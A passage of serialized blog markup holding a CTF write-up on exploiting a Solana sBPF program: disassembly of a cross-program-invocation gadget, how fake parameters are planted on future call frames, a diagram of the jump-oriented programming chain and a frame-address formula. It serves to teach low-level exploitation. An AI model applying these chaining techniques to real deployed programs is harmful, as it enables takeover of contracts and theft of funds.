79a2b8ff00000000",{"type":23,"tag":504,"props":46816,"children":46817},{"style":5041},[46818],{"type":29,"value":46187},{"type":23,"tag":504,"props":46820,"children":46821},{"style":5041},[46822],{"type":29,"value":46192},{"type":23,"tag":504,"props":46824,"children":46825},{"style":5058},[46826],{"type":29,"value":46197},{"type":23,"tag":504,"props":46828,"children":46829},{"style":5041},[46830],{"type":29,"value":46202},{"type":23,"tag":504,"props":46832,"children":46833},{"style":5047},[46834],{"type":29,"value":6368},{"type":23,"tag":504,"props":46836,"children":46837},{"style":5083},[46838],{"type":29,"value":46839},"72",{"type":23,"tag":504,"props":46841,"children":46842},{"style":5058},[46843],{"type":29,"value":46216},{"type":23,"tag":504,"props":46845,"children":46846},{"style":5041},[46847],{"type":29,"value":46848},"var_48",{"type":23,"tag":504,"props":46850,"children":46851},{"style":5058},[46852],{"type":29,"value":5965},{"type":23,"tag":504,"props":46854,"children":46855},{"class":5016,"line":5746},[46856,46861,46866,46871,46875,46879,46883,46887,46891,46895],{"type":23,"tag":504,"props":46857,"children":46858},{"style":5041},[46859],{"type":29,"value":46860},"100001c18",{"type":23,"tag":504,"props":46862,"children":46863},{"style":5083},[46864],{"type":29,"value":46865},"  1502040000000000",{"type":23,"tag":504,"props":46867,"children":46868},{"style":5041},[46869],{"type":29,"value":46870},"   jeq",{"type":23,"tag":504,"props":46872,"children":46873},{"style":5058},[46874],{"type":29,"value":10764},{"type":23,"tag":504,"props":46876,"children":46877},{"style":5047},[46878],{"type":29,"value":6422},{"type":23,"tag":504,"props":46880,"children":46881},{"style":5083},[46882],{"type":29,"value":19577},{"type":23,"tag":504,"props":46884,"children":46885},{"style":5058},[46886],{"type":29,"value":7866},{"type":23,"tag":504,"props":46888,"children":46889},{"style":5041},[46890],{"type":29,"value":46568},{"type":23,"tag":504,"props":46892,"children":46893},{"style":5058},[46894],{"type":29,"value":4367},{"type":23,"tag":504,"props":46896,"children":46897},{"style":5083},[46898],{"type":29,"value":46451},{"type":23,"tag":504,"props":46900,"children":46901},{"class":5016,"line":5813},[46902],{"type":23,"tag":504,"props":46903,"children":46904},{"emptyLinePlaceholder":15},[46905],{"type":29,"value":5734},{"type":23,"tag":504,"props":46907,"children":46908},{"class":5016,"line":5821},[46909,46914,46919,46924,46928,46932],{"type":23,"tag":504,"props":46910,"children":46911},{"style":5041},[46912],{"type":29,"value":46913},"100001c20",{"type":23,"tag":504,"props":46915,"children":46916},{"style":5083},[46917],{"type":29,"value":46918},"  2702000022000000",{"type":23,"tag":504,"props":46920,"children":46921},{"style":5041},[46922],{"type":29,"value":46923},"   mul",{"type":23,"tag":504,"props":46925,"children":46926},{"style":5041},[46927],{"type":29,"value":46192},{"type":23,"tag":504,"props":46929,"children":46930},{"style":5058},[46931],{"type":29,"value":4367},{"type":23,"tag":504,"props":46933,"children":46934},{"style":5083},[46935],{"type":29,"value":46936},"0x22\n",{"type":23,"tag":504,"props":46938,"children":46939},{"class":5016,"line":5851},[46940,46945,46950,46954,46958,46962,46966,46970,46975,46979,46984],{"type":23,"tag":504,"props":46941,"children":46942},{"style":5041},[46943],{"type":29,"value":46944},"100001c28",{"type":23,"tag":504,"props":46946,"children":46947},{"style":5041},[46948],{"type":29,"value":46949},"  79a1b0ff00000000",{"type":23,"tag":504,"props":46951,"children":46952},{"style":5041},[46953],{"type":29,"value":46187},{"type":23,"tag":504,"props":46955,"children":46956},{"style":5041},[46957],{"type":29,"value":46481},{"type":23,"tag":504,"props":46959,"children":46960},{"style":5058},[46961],{"type":29,"value":46197},{"type":23,"tag":504,"props":46963,"children":46964},{"style":5041},[46965],{"type":29,"value":46202},{"type":23,"tag":504,"props":46967,"children":46968},{"style":5047},[46969],{"type":29,"value":6368},{"type":23,"tag":504,"props":46971,"children":46972},{"style":5083},[46973],{"type":29,"value":46974},"80",{"type":23,"tag":504,"props":46976,"children":46977},{"style":5058},[46978],{"type":29,"value":46216},{"type":23,"tag":504,"props":46980,"children":46981},{"style":5041},[46982],{"type":29,"value":46983},"var_50",{"type":23,"tag":504,"props":46985,"children":46986},{"style":5058},[46987],{"type":29,"value":5965},{"type":23,"tag":504,"props":46989,"children":46990},{"class":5016,"line":5859},[46991,46996,47001,47005,47009,47013],{"type":23,"tag":504,"props":46992,"children":46993},{"style":5041},[46994],{"type":29,"value":46995},"100001c30",{"type":23,"tag":504,"props":46997,"children":46998},{"style":5041},[46999],{"type":29,"value":47000},"  b703000001000000",{"type":23,"tag":504,"props":47002,"children":47003},{"style":5041},[47004],{"type":29,"value":46476},{"type":23,"tag":504,"props":47006,"children":47007},{"style":5041},[47008],{"type":29,"value":46247},{"type":23,"tag":504,"props":47010,"children":47011},{"style":5058},[47012],{"type":29,"value":4367},{"type":23,"tag":504,"props":47014,"children":47015},{"style":5083},[47016],{"type":29,"value":47017},"0x1\n",{"type":23,"tag":504,"props":47019,"children":47020},{"class":5016,"line":5891},[47021,47026,47031,47035],{"type":23,"tag":504,"props":47022,"children":47023},{"style":5041},[47024],{"type":29,"value":47025},"100001c38",{"type":23,"tag":504,"props":47027,"children":47028},{"style":5041},[47029],{"type":29,"value":47030},"  8510000003feffff",{"type":23,"tag":504,"props":47032,"children":47033},{"style":5041},[47034],{"type":29,"value":46398},{"type":23,"tag":504,"props":47036,"children":47037},{"style":5041},[47038],{"type":29,"value":47039}," __rust_dealloc\n",{"type":23,"tag":504,"props":47041,"children":47042},{"class":5016,"line":5899},[47043],{"type":23,"tag":504,"props":47044,"children":47045},{"emptyLinePlaceholder":15},[47046],{"type":29,"value":5734},{"type":23,"tag":504,"props":47048,"children":47049},{"class":5016,"line":5959},[47050,47055,47060,47064,47068,47072,47076,47080,47085,47089,47094],{"type":23,"tag":504,"props":47051,"children":47052},{"style":5041},[47053],{"type":29,"value":47054},"100001c40",{"type":23,"tag":504,"props":47056,"children":47057},{"style":5041},[47058],{"type":29,"value":47059},"  79a2d0ff00000000",{"type":23,"tag":504,"props":47061,"children":47062},{"style":5041},[47063],{"type":29,"value":46187},{"type":23,"tag":504,"props":47065,"children":47066},{"style":5041},[47067],{"type":29,"value":46192},{"type":23,"tag":504,"props":47069,"children":47070},{"style":5058},[47071],{"type":29,"value":46197},{"type":23,"tag":504,"props":47073,"children":47074},{"style":5041},[47075],{"type":29,"value":46202},{"type":23,"tag":504,"props":47077,"children":47078},{"style":5047},[47079],{"type":29,"value":6368},{"type":23,"tag":504,"props":47081,"children":47082},{"style":5083},[47083],{"type":29,"value":47084},"48",{"type":23,"tag":504,"props":47086,"children":47087},{"style":5058},[47088],{"type":29,"value":46216},{"type":23,"tag":504,"props":47090,"children":47091},{"style":5041},[47092],{"type":29,"value":47093},"var_30",{"type":23,"tag":504,"props":47095,"children":47096},{"style":5058},[47097],{"type":29,"value":5965},{"type":23,"tag":504,"props":47099,"children":47100},{"class":5016,"line":11093},[47101,47106,47111,47115,47119,47123,47127,47131,47135,47139],{"type":23,"tag":504,"props":47102,"children":47103},{"style":5041},[47104],{"type":29,"value":47105},"100001c48",{"type":23,"tag":504,"props":47107,"children":47108},{"style":5083},[47109],{"type":29,"value":47110},"  1502030000000000",{"type":23,"tag":504,"props":47112,"children":47113},{"style":5041},[47114],{"type":29,"value":46870},{"type":23,"tag":504,"props":47116,"children":47117},{"style":5058},[47118],{"type":29,"value":10764},{"type":23,"tag":504,"props":47120,"children":47121},{"style":5047},[47122],{"type":29,"value":6422},{"type":23,"tag":504,"props":47124,"children":47125},{"style":5083},[47126],{"type":29,"value":19344},{"type":23,"tag":504,"props":47128,"children":47129},{"style":5058},[47130],{"type":29,"value":7866},{"type":23,"tag":504,"props":47132,"children":47133},{"style":5041},[47134],{"type":29,"value":46568},{"type":23,"tag":504,"props":47136,"children":47137},{"style":5058},[47138],{"type":29,"value":4367},{"type":23,"tag":504,"props":47140,"children":47141},{"style":5083},[47142],{"type":29,"value":46451},{"type":23,"tag":504,"props":47144,"children":47145},{"class":5016,"line":11111},[47146],{"type":23,"tag":504,"props":47147,"children":47148},{"emptyLinePlaceholder":15},[47149],{"type":29,"value":5734},{"type":23,"tag":504,"props":47151,"children":47152},{"class":5016,"line":11156},[47153,47158,47163,47167,47171,47175,47179,47183,47188,47192,47197],{"type":23,"tag":504,"props":47154,"children":47155},{"style":5041},[47156],{"type":29,"value":47157},"100001c50",{"type":23,"tag":504,"props":47159,"children":47160},{"style":5041},[47161],{"type":29,"value":47162},"  79a1c8ff00000000",{"type":23,"tag":504,"props":47164,"children":47165},{"style":5041},[47166],{"type":29,"value":46187},{"type":23,"tag":504,"props":47168,"children":47169},{"style":5041},[47170],{"type":29,"value":46481},{"type":23,"tag":504,"props":47172,"children":47173},{"style":5058},[47174],{"type":29,"value":46197},{"type":23,"tag":504,"props":47176,"children":47177},{"style":5041},[47178],{"type":29,"value":46202},{"type":23,"tag":504,"props":47180,"children":47181},{"style":5047},[47182],{"type":29,"value":6368},{"type":23,"tag":504,"props":47184,"children":47185},{"style":5083},[47186],{"type":29,"value":47187},"56",{"type":23,"tag":504,"props":47189,"children":47190},{"style":5058},[47191],{"type":29,"value":46216},{"type":23,"tag":504,"props":47193,"children":47194},{"style":5041},[47195],{"type":29,"value":47196},"var_38",{"type":23,"tag":504,"props":47198,"children":47199},{"style":5058},[47200],{"type":29,"value":5965},{"type":23,"tag":504,"props":47202,"children":47203},{"class":5016,"line":11262},[47204,47209,47213,47217,47221,47225],{"type":23,"tag":504,"props":47205,"children":47206},{"style":5041},[47207],{"type":29,"value":47208},"100001c58",{"type":23,"tag":504,"props":47210,"children":47211},{"style":5041},[47212],{"type":29,"value":47000},{"type":23,"tag":504,"props":47214,"children":47215},{"style":5041},[47216],{"type":29,"value":46476},{"type":23,"tag":504,"props":47218,"children":47219},{"style":5041},[47220],{"type":29,"value":46247},{"type":23,"tag":504,"props":47222,"children":47223},{"style":5058},[47224],{"type":29,"value":4367},{"type":23,"tag":504,"props":47226,"children":47227},{"style":5083},[47228],{"type":29,"value":47017},{"type":23,"tag":504,"props":47230,"children":47231},{"class":5016,"line":25550},[47232,47237,47242,47246],{"type":23,"tag":504,"props":47233,"children":47234},{"style":5041},[47235],{"type":29,"value":47236},"100001c60",{"type":23,"tag":504,"props":47238,"children":47239},{"style":5041},[47240],{"type":29,"value":47241},"  85100000fefdffff",{"type":23,"tag":504,"props":47243,"children":47244},{"style":5041},[47245],{"type":29,"value":46398},{"type":23,"tag":504,"props":47247,"children":47248},{"style":5041},[47249],{"type":29,"value":47039},{"type":23,"tag":504,"props":47251,"children":47252},{"class":5016,"line":25585},[47253],{"type":23,"tag":504,"props":47254,"children":47255},{"emptyLinePlaceholder":15},[47256],{"type":29,"value":5734},{"type":23,"tag":504,"props":47258,"children":47259},{"class":5016,"line":25593},[47260,47265,47270,47275,47280,47285],{"type":23,"tag":504,"props":47261,"children":47262},{"style":5041},[47263],{"type":29,"value":47264},"100001c68",{"type":23,"tag":504,"props":47266,"children":47267},{"style":5083},[47268],{"type":29,"value":47269},"  9500000000000000",{"type":23,"tag":504,"props":47271,"children":47272},{"style":5041},[47273],{"type":29,"value":47274},"   exit",{"type":23,"tag":504,"props":47276,"children":47277},{"style":5058},[47278],{"type":29,"value":47279}," {",{"type":23,"tag":504,"props":47281,"children":47282},{"style":5041},[47283],{"type":29,"value":47284},"__return_addr",{"type":23,"tag":504,"props":47286,"children":47287},{"style":5058},[47288],{"type":29,"value":5965},{"type":23,"tag":32,"props":47290,"children":47291},{},[47292,47294,47300],{"type":29,"value":47293},"Which, assuming that ",{"type":23,"tag":154,"props":47295,"children":47297},{"className":47296},[],[47298],{"type":29,"value":47299},"sol_invoke_signed_rust",{"type":29,"value":47301}," returns 0, is doing the following:",{"type":23,"tag":139,"props":47303,"children":47304},{},[47305,47314,47323],{"type":23,"tag":143,"props":47306,"children":47307},{},[47308],{"type":23,"tag":154,"props":47309,"children":47311},{"className":47310},[],[47312],{"type":29,"value":47313},"sol_invoke_signed_rust(r1, [r10-136], [r10-128], [r10-152], [r10-144])",{"type":23,"tag":143,"props":47315,"children":47316},{},[47317],{"type":23,"tag":154,"props":47318,"children":47320},{"className":47319},[],[47321],{"type":29,"value":47322},"*[r10-120] = 0x18",{"type":23,"tag":143,"props":47324,"children":47325},{},[47326,47328,47334,47336,47343],{"type":29,"value":47327},"Calls ",{"type":23,"tag":154,"props":47329,"children":47331},{"className":47330},[],[47332],{"type":29,"value":47333},"__rust_dealloc",{"type":29,"value":47335},", which in default circumstances is a ",{"type":23,"tag":68,"props":47337,"children":47340},{"href":47338,"rel":47339},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/entrypoint.rs#L257C1-L259",[72],[47341],{"type":29,"value":47342},"NOP",{"type":29,"value":357},{"type":23,"tag":32,"props":47345,"children":47346},{},[47347],{"type":29,"value":47348},"r10 is the stack pointer, so it will point to the stack frame of the current depth when executing that instruction.",{"type":23,"tag":32,"props":47350,"children":47351},{},[47352],{"type":29,"value":47353},"If we correctly set up the stack frame used by this gadget with valid parameters, that's a win.",{"type":23,"tag":32,"props":47355,"children":47356},{},[47357,47359,47366],{"type":29,"value":47358},"Looking at the ",{"type":23,"tag":68,"props":47360,"children":47363},{"href":47361,"rel":47362},"https://github.com/solana-labs/solana/blob/master/sdk/program/src/syscalls/definitions.rs#L59",[72],[47364],{"type":29,"value":47365},"definition",{"type":29,"value":47367},", it's not crystal clear what the parameters are:",{"type":23,"tag":4743,"props":47369,"children":47371},{"className":5009,"code":47370,"language":5008,"meta":7,"style":7},"fn sol_invoke_signed_rust(instruction_addr: *const u8, account_infos_addr: *const u8, account_infos_len: u64, signers_seeds_addr: *const u8, signers_seeds_len: u64) -> u64\n",[47372],{"type":23,"tag":154,"props":47373,"children":47374},{"__ignoreMap":7},[47375],{"type":23,"tag":504,"props":47376,"children":47377},{"class":5016,"line":5017},[47378,47382,47387,47391,47396,47400,47404,47408,47412,47416,47421,47425,47429,47433,47437,47441,47446,47450,47454,47458,47463,47467,47471,47475,47479,47483,47488,47492,47496,47500,47504],{"type":23,"tag":504,"props":47379,"children":47380},{"style":5030},[47381],{"type":29,"value":22319},{"type":23,"tag":504,"props":47383,"children":47384},{"style":5139},[47385],{"type":29,"value":47386}," sol_invoke_signed_rust",{"type":23,"tag":504,"props":47388,"children":47389},{"style":5058},[47390],{"type":29,"value":603},{"type":23,"tag":504,"props":47392,"children":47393},{"style":5041},[47394],{"type":29,"value":47395},"instruction_addr",{"type":23,"tag":504,"props":47397,"children":47398},{"style":5047},[47399],{"type":29,"value":6533},{"type":23,"tag":504,"props":47401,"children":47402},{"style":5047},[47403],{"type":29,"value":11863},{"type":23,"tag":504,"props":47405,"children":47406},{"style":5030},[47407],{"type":29,"value":11701},{"type":23,"tag":504,"props":47409,"children":47410},{"style":5467},[47411],{"type":29,"value":16680},{"type":23,"tag":504,"props":47413,"children":47414},{"style":5058},[47415],{"type":29,"value":4367},{"type":23,"tag":504,"props":47417,"children":47418},{"style":5041},[47419],{"type":29,"value":47420},"account_infos_addr",{"type":23,"tag":504,"props":47422,"children":47423},{"style":5047},[47424],{"type":29,"value":6533},{"type":23,"tag":504,"props":47426,"children":47427},{"style":5047},[47428],{"type":29,"value":11863},{"type":23,"tag":504,"props":47430,"children":47431},{"style":5030},[47432],{"type":29,"value":11701},{"type":23,"tag":504,"props":47434,"children":47435},{"style":5467},[47436],{"type":29,"value":16680},{"type":23,"tag":504,"props":47438,"children":47439},{"style":5058},[47440],{"type":29,"value":4367},{"type":23,"tag":504,"props":47442,"children":47443},{"style":5041},[47444],{"type":29,"value":47445},"account_infos_len",{"type":23,"tag":504,"props":47447,"children":47448},{"style":5047},[47449],{"type":29,"value":6533},{"type":23,"tag":504,"props":47451,"children":47452},{"style":5467},[47453],{"type":29,"value":7905},{"type":23,"tag":504,"props":47455,"children":47456},{"style":5058},[47457],{"type":29,"value":4367},{"type":23,"tag":504,"props":47459,"children":47460},{"style":5041},[47461],{"type":29,"value":47462},"signers_seeds_addr",{"type":23,"tag":504,"props":47464,"children":47465},{"style":5047},[47466],{"type":29,"value":6533},{"type":23,"tag":504,"props":47468,"children":47469},{"style":5047},[47470],{"type":29,"value":11863},{"type":23,"tag":504,"props":47472,"children":47473},{"style":5030},[47474],{"type":29,"value":11701},{"type":23,"tag":504,"props":47476,"children":47477},{"style":5467},[47478],{"type":29,"value":16680},{"type":23,"tag":504,"props":47480,"children":47481},{"style":5058},[47482],{"type":29,"value":4367},{"type":23,"tag":504,"props":47484,"children":47485},{"style":5041},[47486],{"type":29,"value":47487},"signers_seeds_len",{"type":23,"tag":504,"props":47489,"children":47490},{"style":5047},[47491],{"type":29,"value":6533},{"type":23,"tag":504,"props":47493,"children":47494},{"style":5467},[47495],{"type":29,"value":7905},{"type":23,"tag":504,"props":47497,"children":47498},{"style":5058},[47499],{"type":29,"value":5128},{"type":23,"tag":504,"props":47501,"children":47502},{"style":5047},[47503],{"type":29,"value":15803},{"type":23,"tag":504,"props":47505,"children":47506},{"style":5467},[47507],{"type":29,"value":15243},{"type":23,"tag":32,"props":47509,"children":47510},{},[47511,47513,47518,47520,47527],{"type":29,"value":47512},"The source of ",{"type":23,"tag":68,"props":47514,"children":47516},{"href":47515},"(https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L289)",[47517],{"type":29,"value":46128},{"type":29,"value":47519}," helps a lot, but looking at the actual ",{"type":23,"tag":68,"props":47521,"children":47524},{"href":47522,"rel":47523},"https://github.com/solana-labs/solana/blob/v1.17.4/programs/bpf_loader/src/syscalls/cpi.rs#L458-L637",[72],[47525],{"type":29,"value":47526},"implementation",{"type":29,"value":47528}," provides more clarity:",{"type":23,"tag":1022,"props":47530,"children":47531},{},[47532],{"type":23,"tag":143,"props":47533,"children":47534},{},[47535,47540,47542,47549],{"type":23,"tag":154,"props":47536,"children":47538},{"className":47537},[],[47539],{"type":29,"value":47395},{"type":29,"value":47541}," points to a ",{"type":23,"tag":68,"props":47543,"children":47546},{"href":47544,"rel":47545},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/stable_layout/stable_instruction.rs#L33",[72],[47547],{"type":29,"value":47548},"StableInstruction",{"type":29,"value":6533},{"type":23,"tag":32,"props":47551,"children":47552},{},[47553],{"type":23,"tag":199,"props":47554,"children":47556},{"alt":47548,"src":47555},"/posts/jumping-around-in-the-vm/stable_ix.svg",[],{"type":23,"tag":1022,"props":47558,"children":47559},{},[47560,47585],{"type":23,"tag":143,"props":47561,"children":47562},{},[47563,47568,47570,47575,47577,47584],{"type":23,"tag":154,"props":47564,"children":47566},{"className":47565},[],[47567],{"type":29,"value":47420},{"type":29,"value":47569}," points to a slice of ",{"type":23,"tag":154,"props":47571,"children":47573},{"className":47572},[],[47574],{"type":29,"value":47445},{"type":29,"value":47576},"  ",{"type":23,"tag":68,"props":47578,"children":47581},{"href":47579,"rel":47580},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/account_info.rs#L19-L36",[72],[47582],{"type":29,"value":47583},"AccountInfos",{"type":29,"value":357},{"type":23,"tag":143,"props":47586,"children":47587},{},[47588,47593,47595,47600,47602,47607],{"type":23,"tag":154,"props":47589,"children":47591},{"className":47590},[],[47592],{"type":29,"value":47462},{"type":29,"value":47594}," is a bit trickier, it points to a slice of length ",{"type":23,"tag":154,"props":47596,"children":47598},{"className":47597},[],[47599],{"type":29,"value":47487},{"type":29,"value":47601},", containing slices of ",{"type":23,"tag":154,"props":47603,"children":47605},{"className":47604},[],[47606],{"type":29,"value":5470},{"type":29,"value":357},{"type":23,"tag":32,"props":47609,"children":47610},{},[47611],{"type":23,"tag":199,"props":47612,"children":47615},{"alt":47613,"src":47614},"signers.drawio","/posts/jumping-around-in-the-vm/signers.svg",[],{"type":23,"tag":32,"props":47617,"children":47618},{},[47619,47621,47626],{"type":29,"value":47620},"Where do we store those fake parameters? We can store them directly inside the input data, and just write the pointers to them on the stack through the write gadget. Note that these writes are to ",{"type":23,"tag":4321,"props":47622,"children":47623},{},[47624],{"type":29,"value":47625},"future call frames",{"type":29,"value":357},{"type":23,"tag":32,"props":47628,"children":47629},{},[47630,47632,47639],{"type":29,"value":47631},"Now that we have all the parts, all we need is to string it together. The full ",{"type":23,"tag":68,"props":47633,"children":47636},{"href":47634,"rel":47635},"https://github.com/chen-robert/paradigmctf-2023/blob/main/jotterp/framework-solve/src/main.rs",[72],[47637],{"type":29,"value":47638},"reference solution can be found here",{"type":29,"value":357},{"type":23,"tag":32,"props":47641,"children":47642},{},[47643],{"type":29,"value":47644},"Here's a visualization of the final JOP chain.",{"type":23,"tag":4743,"props":47646,"children":47648},{"className":46010,"code":47647,"language":46012,"meta":7,"style":7},"graph BT\n    A[0: entrypoint] --> B[1: process_instruction]\n    B --> C[2: process]\n    C --> D[3: Write account_infos.ptr to target_r10 - 136]\n    C --> E[3: process]\n    E --> F[4: Write account_infos.len to target_r10 - 128]\n    E --> G[4: process]\n    G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n    G --> I[5: process]\n    I --> J[6: Write signers_seeds.len to target_r10 - 144]\n    I --> K[6: process]\n    K --> M[7: Write HeapBase to target_r10 - 120]\n    K --> N[7: process]\n    N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n    N --> O[8: Write 0x4337 to the account]\n",[47649],{"type":23,"tag":154,"props":47650,"children":47651},{"__ignoreMap":7},[47652,47660,47667,47674,47682,47689,47697,47705,47713,47721,47729,47737,47745,47753,47761],{"type":23,"tag":504,"props":47653,"children":47654},{"class":5016,"line":5017},[47655],{"type":23,"tag":504,"props":47656,"children":47657},{},[47658],{"type":29,"value":47659},"graph BT\n",{"type":23,"tag":504,"props":47661,"children":47662},{"class":5016,"line":4868},[47663],{"type":23,"tag":504,"props":47664,"children":47665},{},[47666],{"type":29,"value":46032},{"type":23,"tag":504,"props":47668,"children":47669},{"class":5016,"line":4876},[47670],{"type":23,"tag":504,"props":47671,"children":47672},{},[47673],{"type":29,"value":46040},{"type":23,"tag":504,"props":47675,"children":47676},{"class":5016,"line":5099},[47677],{"type":23,"tag":504,"props":47678,"children":47679},{},[47680],{"type":29,"value":47681},"    C --> D[3: Write account_infos.ptr to target_r10 - 136]\n",{"type":23,"tag":504,"props":47683,"children":47684},{"class":5016,"line":5203},[47685],{"type":23,"tag":504,"props":47686,"children":47687},{},[47688],{"type":29,"value":46056},{"type":23,"tag":504,"props":47690,"children":47691},{"class":5016,"line":5308},[47692],{"type":23,"tag":504,"props":47693,"children":47694},{},[47695],{"type":29,"value":47696},"    E --> F[4: Write account_infos.len to target_r10 - 128]\n",{"type":23,"tag":504,"props":47698,"children":47699},{"class":5016,"line":5336},[47700],{"type":23,"tag":504,"props":47701,"children":47702},{},[47703],{"type":29,"value":47704},"    E --> G[4: process]\n",{"type":23,"tag":504,"props":47706,"children":47707},{"class":5016,"line":5349},[47708],{"type":23,"tag":504,"props":47709,"children":47710},{},[47711],{"type":29,"value":47712},"    G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n",{"type":23,"tag":504,"props":47714,"children":47715},{"class":5016,"line":5367},[47716],{"type":23,"tag":504,"props":47717,"children":47718},{},[47719],{"type":29,"value":47720},"    G --> I[5: process]\n",{"type":23,"tag":504,"props":47722,"children":47723},{"class":5016,"line":5388},[47724],{"type":23,"tag":504,"props":47725,"children":47726},{},[47727],{"type":29,"value":47728},"    I --> J[6: Write signers_seeds.len to target_r10 - 144]\n",{"type":23,"tag":504,"props":47730,"children":47731},{"class":5016,"line":5397},[47732],{"type":23,"tag":504,"props":47733,"children":47734},{},[47735],{"type":29,"value":47736},"    I --> K[6: process]\n",{"type":23,"tag":504,"props":47738,"children":47739},{"class":5016,"line":5649},[47740],{"type":23,"tag":504,"props":47741,"children":47742},{},[47743],{"type":29,"value":47744},"    K --> M[7: Write HeapBase to target_r10 - 120]\n",{"type":23,"tag":504,"props":47746,"children":47747},{"class":5016,"line":5666},[47748],{"type":23,"tag":504,"props":47749,"children":47750},{},[47751],{"type":29,"value":47752},"    K --> N[7: process]\n",{"type":23,"tag":504,"props":47754,"children":47755},{"class":5016,"line":5683},[47756],{"type":23,"tag":504,"props":47757,"children":47758},{},[47759],{"type":29,"value":47760},"    N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n",{"type":23,"tag":504,"props":47762,"children":47763},{"class":5016,"line":5696},[47764],{"type":23,"tag":504,"props":47765,"children":47766},{},[47767],{"type":29,"value":47768},"    N --> O[8: Write 0x4337 to the account]\n",{"type":23,"tag":32,"props":47770,"children":47771},{},[47772,47774,47780],{"type":29,"value":47773},"Small note: ",{"type":23,"tag":154,"props":47775,"children":47777},{"className":47776},[],[47778],{"type":29,"value":47779},"target_r10",{"type":29,"value":47781}," is the address of the call frame when the CPI gadget is invoked, which, as shown in the graph, is the 8th frame. Its address can be calculated as follows:",{"type":23,"tag":4743,"props":47783,"children":47785},{"className":5009,"code":47784,"language":5008,"meta":7,"style":7},"fn call_frame_addr(depth: u64) -> u64 {\n    0x200000000 + 0x2000 * depth + 0x1000\n}\n// call_frame_addr(8) = 0x200011000\n",[47786],{"type":23,"tag":154,"props":47787,"children":47788},{"__ignoreMap":7},[47789,47834,47869,47876],{"type":23,"tag":504,"props":47790,"children":47791},{"class":5016,"line":5017},[47792,47796,47801,47805,47810,47814,47818,47822,47826,47830],{"type":23,"tag":504,"props":47793,"children":47794},{"style":5030},[47795],{"type":29,"value":22319},{"type":23,"tag":504,"props":47797,"children":47798},{"style":5139},[47799],{"type":29,"value":47800}," call_frame_addr",{"type":23,"tag":504,"props":47802,"children":47803},{"style":5058},[47804],{"type":29,"value":603},{"type":23,"tag":504,"props":47806,"children":47807},{"style":5041},[47808],{"type":29,"value":47809},"depth",{"type":23,"tag":504,"props":47811,"children":47812},{"style":5047},[47813],{"type":29,"value":6533},{"type":23,"tag":504,"props":47815,"children":47816},{"style":5467},[47817],{"type":29,"value":7905},{"type":23,"tag":504,"props":47819,"children":47820},{"style":5058},[47821],{"type":29,"value":5128},{"type":23,"tag":504,"props":47823,"children":47824},{"style":5047},[47825],{"type":29,"value":15803},{"type":23,"tag":504,"props":47827,"children":47828},{"style":5467},[47829],{"type":29,"value":7905},{"type":23,"tag":504,"props":47831,"children":47832},{"style":5058},[47833],{"type":29,"value":5333},{"type":23,"tag":504,"props":47835,"children":47836},{"class":5016,"line":4868},[47837,47842,47846,47851,47855,47860,47864],{"type":23,"tag":504,"props":47838,"children":47839},{"style":5083},[47840],{"type":29,"value":47841},"    0x200000000",{"type":23,"tag":504,"props":47843,"children":47844},{"style":5047},[47845],{"type":29,"value":10950},{"type":23,"tag":504,"props":47847,"children":47848},{"style":5083},[47849],{"type":29,"value":47850}," 0x2000",{"type":23,"tag":504,"props":47852,"children":47853},{"style":5047},[47854],{"type":29,"value":11863},{"type":23,"tag":504,"props":47856,"children":47857},{"style":5041},[47858],{"type":29,"value":47859}," depth",{"type":23,"tag":504,"props":47861,"children":47862},{"style":5047},[47863],{"type":29,"value":10950},{"type":23,"tag":504,"props":47865,"children":47866},{"style":5083},[47867],{"type":29,"value":47868}," 0x1000\n",{"type":23,"tag":504,"props":47870,"children":47871},{"class":5016,"line":4876},[47872],{"type":23,"tag":504,"props":47873,"children":47874},{"style":5058},[47875],{"type":29,"value":5965},{"type":23,"tag":504,"props":47877,"children":47878},{"class":5016,"line":5099},[47879],{"type":23,"tag":504,"props":47880,"children":47881},{"style":5021},[47882],{"type":29,"value":47883},"// call_frame_addr(8) = 0x200011000\n",{"type":23,"tag":24,"props":47885,"children":47886},{"id":4832},[47887],{"type":29,"value":4835},{"type":23,"tag":32,"props":47889,"children":47890},{},[47891,47893,47900],{"type":29,"value":47892},"Most blockchain vulnerabilities are high-level business logic bugs. While low-level Solana bugs are rare, ",{"type":23,"tag":68,"props":47894,"children":47897},{"href":47895,"rel":47896},"https://osec.io/blog/2022-12-09-rust-realloc-and-references",[72],[47898],{"type":29,"value":47899},"they do exist",{"type":29,"value":357},{"type":23,"tag":32,"props":47902,"children":47903},{},[47904],{"type":29,"value":47905},"In this blog post, we provided an exploration of the exploitation side of security. There's a surprising amount of work necessary to go from powerful memory corruption primitives to full control of the program.",{"type":23,"tag":32,"props":47907,"children":47908},{},[47909,47911,47916],{"type":29,"value":47910},"Security requires a top-to-bottom understanding of the execution environment. We hope this challenge and blog post motivate others to understand the ",{"type":23,"tag":4321,"props":47912,"children":47913},{},[47914],{"type":29,"value":47915},"entire",{"type":29,"value":47917}," runtime.",{"type":23,"tag":7410,"props":47919,"children":47920},{},[47921],{"type":29,"value":7414},{"title":7,"searchDepth":4868,"depth":4868,"links":47923},[47924,47928,47929,47932],{"id":21007,"depth":4868,"text":21010,"children":47925},[47926,47927],{"id":42598,"depth":4876,"text":42601},{"id":43917,"depth":4876,"text":43920},{"id":45156,"depth":4868,"text":45159},{"id":45992,"depth":4868,"text":45995,"children":47930},[47931],{"id":46106,"depth":4876,"text":46109},{"id":4832,"depth":4868,"text":4835},"content:blog:2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm",{"_path":47937,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":47938,"description":47939,"author":47940,"image":47941,"date":47943,"isFeatured":15,"onBlogPage":15,"body":47944,"_type":4892,"_id":49090,"_source":4894,"_file":49091,"_stem":49092,"_extension":4897},"/blog/2024-01-18-rounding-bugs","Rounding Bugs: An Analysis","Rounding-related hacks are having a moment in the spotlight. We explore these exploits, correct some popular misunderstandings, and provide 